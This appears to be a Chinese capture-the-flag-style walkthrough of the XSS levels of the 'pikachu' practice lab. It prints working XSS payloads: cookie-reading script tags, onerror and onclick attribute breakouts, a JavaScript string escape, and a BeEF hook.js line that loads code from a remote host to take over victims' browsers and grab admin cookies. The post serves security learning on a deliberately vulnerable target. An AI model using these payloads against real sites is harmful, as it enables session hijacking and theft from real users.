pikachu靶机-XSS

XSS:

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

目录

XSS:

1.反射型xss(get):

2.反射性xss(post):

3.存储型xss:

4.DOM型xss:

5.DOM型xss-x:

6.xss盲打:

7.xss之过滤:

8.xss之htmlspecialchars:

9.xss之href输出:

10.xss之js输出:

1.反射型xss(get):

这里是用get请求做了一个长度的限制,我们使用hackbar来进行传参,页面会弹出一个xss,证明存在xss漏洞,我们顺便讲一下 beef-xss工具。

<script>alert('xss')</script>

我们先登录平台,在靶场这里输入上面的XSS重定向。

上线后,即可看见盗取浏览器的cookie等操作。

2.反射性xss(post):

这里我们首先登陆一下,

利用burp抓包修改以下代码。即可返回当前的cookie。

<script>alert(document.cookie)</script>

3.存储型xss:

个人理解:多数在留言板或者评论区,任意用户访问到该页面时,都会存在你的恶意代码。

这里一样的,输入以下代码,我们访问试试。任何人访问时都会进行弹窗。

<script>alert(document.cookie)</script>

4.DOM型xss:

在输入框随便输入 11 ,F12 可以看见,11 被添加在了 <a> </a> 标签里面(html的超链接标签)

开始构建payload

以下是源码部分
  <div id="xssd_main">
    <script>
    function domxss(){
      var str = document.getElementById("text").value;
      document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
    </script>
    <!--<a href="" onclick=('xss')>-->
    <input id="text" name="text" type="text"  value="" />
    <input id="button" type="button" value="click me!" onclick="domxss()" />
    <div id="dom"></div>
    </div>
---------------------------------------------------
  <a href=''>what do you see?</a>
  这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'> 
点击 what do you see? 的超链接时就可以进行弹框。

我们还可以有其他操作。

  <a href=''>what do you see?</a>
  这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'> 
点击 what do you see? 的超链接时就可以进行弹框。
我们可以添加一个图像和一个错误事件,当找不到图像的地址时就可以利用 onerror 事件来进行弹框
'onclick='alert(1)'><img src=''onerror='alert('xss')'/>
'><img src=''onerror='alert(1)'/>
即变成<a href=''><img src=''onerror='alert(1)'/>'>what do you see?</a>
输入 '><img src=''onerror='alert(1)'/> 提交后,即可直接弹窗。

5.DOM型xss-x:

这题和上面的没啥区别,先看看源码。

点击<a></a>标签执行 function domxss() 弹出 xss。

payload

'onclick='alert(1)'>
function domxss(){
                        var str = window.location.search;  获取当前URL的查询字符串部分
                        var txss = decodeURIComponent(str.split("text=")[1]); 将查询字符串按照"text="进行分割,返回一个数组,用于解码字符串,将特殊字符转换为原始字符。
                        var xss = txss.replace(/\+/g,' ');  是一个正则表达式,用于匹配加号字符。函数将匹配到的加号字符替换为空格
//                        alert(xss);  最后,将处理后的字符串赋值给变量xss
                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                </script>
                <!--<a href="" onclick=('xss')>-->
                <form method="get">
                <input id="text" name="text" type="text"  value="" />
                <input id="submit" type="submit" value="请说出你的伤心往事"/>
                </form>
                <div id="dom"></div>
            </div>
            <a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

6.xss盲打:

先提交数据,再看看提示,登录后台,可以看见提交的数据。

我们再次利用 beef-xss 在上方输入框输入:

<script src="http://192.168.10.129:3000/hook.js"></script>

我们点击提交,在登陆后台,beef-xss 即可上线。获取后台登陆cookie。

7.xss之过滤:

我们尝试的输入:

<script>alert(1)</script>
回显只留下了 >
srcipt
没有过滤
<script>
只保留 >  发现是过滤的 <scrip

方法很简单,不用 <script></script> 标签即可。

我们添加一个图像和一个 onerror 事件。

<img src=''onerror='alert(1)'/>

8.xss之htmlspecialchars:

htmlspecialchars是php的一个函数,可以输入和返回一个字符串。

我们将 <script> 输入得到 &lt;script&gt;

<?php
echo htmlspecialchars("<script>");
&lt;script&gt;
很明显是把 < > 转义了。

我们在输入框中输入 <srcipt> 看源代码得到

我们可以看到 ' 是没有被转义的,所以我们创建一个点击事件。

'onclick='alert(1)'

OK,成功弹窗。

9.xss之href输出:

这里我们在输入框随便输入 1234 ,发现没有效果,看看源码,发现 ' 被转义。

输入框输入: 'οnclick='alert(1)'

'onclick='alert(1)'
&#039;onclick=&#039;alert(1)&#039

10.xss之js输出:

输入框输入 <script>alert(1)</script> 页面毫无变化。

查看源码:

<script>
    $ms='<script>alert(1)</script>';
//输入的字符变成了变量,我们构造一下
//$ms='';
//$ms='';alert(1);//';  //这样子即可
// payload ';alert(1);//
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

输入尝试,成功弹窗。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/400116.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

二级等保需要什么样的SSL证书?

根据等级保护对象在国家安全、经济建设、社会生活中的重要程度&#xff0c;以及一旦遭到破坏、丧失功能或者数据被篡改、泄露、丢失、损毁后&#xff0c;对国家安全、社会秩序、公共利益以及公民&#xff0c;法人和其他组织的合法权益的侵害程度等因素&#xff0c;等级保护对象…

Vue | (三)使用Vue脚手架(下)| 尚硅谷Vue2.0+Vue3.0全套教程

文章目录 &#x1f4da;Vue 中的自定义事件&#x1f407;使用方法&#x1f407;案例练习&#x1f407;TodoList案例优化 &#x1f4da;全局事件总线&#x1f407;使用方法&#x1f407;案例练习&#x1f407;TodoList案例优化 &#x1f4da;消息订阅与发布&#x1f407;使用方法…

Java面试题:synchronized专题

王有志,一个分享硬核Java技术的互金摸鱼侠 加入Java人的提桶跑路群:共同富裕的Java人 今天是《面霸的自我修养》的第3弹,内容是Java并发编程中至关重要的关键字synchronized,作为面试中的“必考题”,这部分是你必须要充分准备的内容,接下来我们就一起一探究竟吧。数据来源…

React 事件处理 ( this问题 参数传递 ref)

React事件的命名采用小驼峰方式&#xff08;cameCase&#xff09;,而不是小写 使用JSX语法时你需要传入一个函数作为事件处理函数&#xff0c;而不是一个字符串 你不能通过返回false 的方式阻止默认行为。你必须显示式的使用preventDefault 1 this 需要谨慎对待JSX回调函数中的…

再见,Anaconda的安装和配置老大难问题!

一、什么是Anaconda&#xff1f; 1. 简介 Anaconda&#xff08;官方网站&#xff09;就是可以便捷获取包且对包能够进行管理&#xff0c;同时对环境可以统一管理的发行版本。Anaconda包含了conda、Python在内的超过180个科学包及其依赖项。 2. 特点 Anaconda具有如下特点&a…

以太坊 Dencun 升级与潜在机会

撰文&#xff1a;Biteye 核心贡献者 Fishery Isla 文章来源Techub News专栏作者&#xff0c;搜Tehub News下载查看更多Web3资讯。 以太坊网络升级 Dencun 测试网版本在 2024 年 1 月 17 日上线了 Goerli 测试网&#xff0c;1 月 30 日成功上线了 Sepolia 测试网&#xff0c;D…

使用python构建Android,探索跨平台应用开发Kivy框架

使用python构建Android&#xff0c;探索跨平台应用开发Kivy框架 1. 介绍Kivy框架 Kivy是什么&#xff1f; Kivy是一个开源的Python跨平台应用程序开发框架&#xff0c;旨在帮助开发者快速构建创新的、可扩展的移动应用和多点触控应用。Kivy采用MIT许可证&#xff0c;允许开发…

ARM处理器运行Windows系统的三防加固平板|亿道三防

大家好&#xff01;今天我要为大家介绍一款引人注目的三防加固平板电脑——亿道三防系列产品。它们采用高通ARM处理器&#xff0c;并能够运行Windows 11操作系统&#xff0c;给用户带来了前所未有的强大性能和多样化的应用体验。 首先&#xff0c;让我们来聊聊这款平板电脑的核…

Leetcode155(设计最小栈)

例题&#xff1a; 分析&#xff1a; 题目要求我们必须在常数时间内检索到最小元素。 我们可以使用两个栈&#xff08;A、B&#xff09;来实现&#xff0c;A栈用来正常存储数据、弹出数据&#xff0c; B栈用于存储A栈中的最小元素&#xff0c;如下图&#xff1a; 刚开始&#…

spring-security 过滤器

spring-security过滤器 版本信息过滤器配置过滤器配置相关类图过滤器加载过程创建 HttpSecurity Bean 对象创建过滤器 过滤器作用ExceptionTranslationFilter 自定义过滤器 本章介绍 spring-security 过滤器配置类 HttpSecurity&#xff0c;过滤器加载过程&#xff0c;自定义过…

QT设置窗口随窗体变化(窗口文本框随窗体的伸缩)

目录 1.建立新窗口2.最终效果 1.建立新窗口 1&#xff09;在窗体中创建一个 textBrowser&#xff0c;记录坐标及宽高 X-100 Y-130 宽-571 高-281&#xff0c;窗体宽高800*600&#xff1b; 2&#xff09;在.h头文件中插入void resizeEvent(QResizeEvent *event) override;函数 …

行测:国考省考行测:图形推理,四面体,正六面体的图形推理方法,箭头唯一法

国考省考行测&#xff1a;图形推理 2022找工作是学历、能力和运气的超强结合体! 公务员特招重点就是专业技能&#xff0c;附带行测和申论&#xff0c;而常规国考省考最重要的还是申论和行测&#xff0c;所以大家认真准备吧&#xff0c;我讲一起屡屡申论和行测的重要知识点 遇到…

使用Nginx或者Fiddler快速代理调试

1 背景问题 在分析业务系统程序问题时,存在服务系统环境是其它部门或者其它小组搭建或运维的,并且现在微服务时代,服务多且复杂,在个人机器上搭建起如此环境,要么费事费力,要么不具备充足条件。 急需有一种方法或者工具可以快速辅助调试定位分析问题。本文下面介绍代理方…

63-JQuery语法,选择器,事件,方法,遍历循环each

1.一个JS库,用js封装很多的方法放到一个文件里面,直接拿了用就可以 文件名带min是压缩过的不带min是没压缩过的 2.JQuery语法 通过选取HTML元素,并对选取的元素执行某些操作 基础语法:$(selector).action() <!-- 需要把JQuery文件先引入才能用 --><script src…

CentOS升级python

1、下载python39 https://mirrors.huaweicloud.com/python/3.9.0/Python-3.9.0.tgz2、拷贝到Linux环境&#xff08;当然也可以直接在Linux环境使用wget直接下载&#xff09; 先安装一下依赖&#xff0c;不然编译会有问题 sudo yum -y install zlib-devel bzip2-devel openssl…

类和对象 01【C++】

目录 一、 类的引入1. 类的定义2. 类的访问限定符及封装(1) 访问限定符(2) 封装 3. 类的实例化4. 类对象模型(1) 计算类对象的大小(2) 类对象的存储方式 5. this指针 二、 类的6个默认成员函数1. 构造函数2. 析构函数3. 拷贝构造函数4. 赋值运算符重载5. 取地址重载6. const取地…

Android13 针对low memory killer内存调优

引入概念 在旧版本的安卓系统中&#xff0c;当触发lmk&#xff08;low memory killer&#xff09;的时候一般认为就是内存不足导致&#xff0c;但是随着安卓版本的增加lmk的判断标准已经不仅仅是内存剩余大小&#xff0c;io&#xff0c;cpu同样会做评判&#xff0c;从而保证设备…

nc开发刚导入项目eclipse出现莫名其妙的错误,红叉,感叹号,文件missing

解决类出现红叉 解决感叹号&#xff0c;文件missing 其他问题 右上角的视图&#xff0c;要选择java&#xff0c;如果是javaEE也会有一些文件没有展示出来。

Py之pydantic:pydantic的简介、安装、使用方法之详细攻略

Py之pydantic&#xff1a;pydantic的简介、安装、使用方法之详细攻略 目录 pydantic的简介 1、Pydantic V1.10 vs. V2 pydantic的安装 pydantic的使用方法 1、简单的示例 pydantic的简介 pydantic是使用Python类型提示进行数据验证。快速且可扩展&#xff0c;Pydantic与您…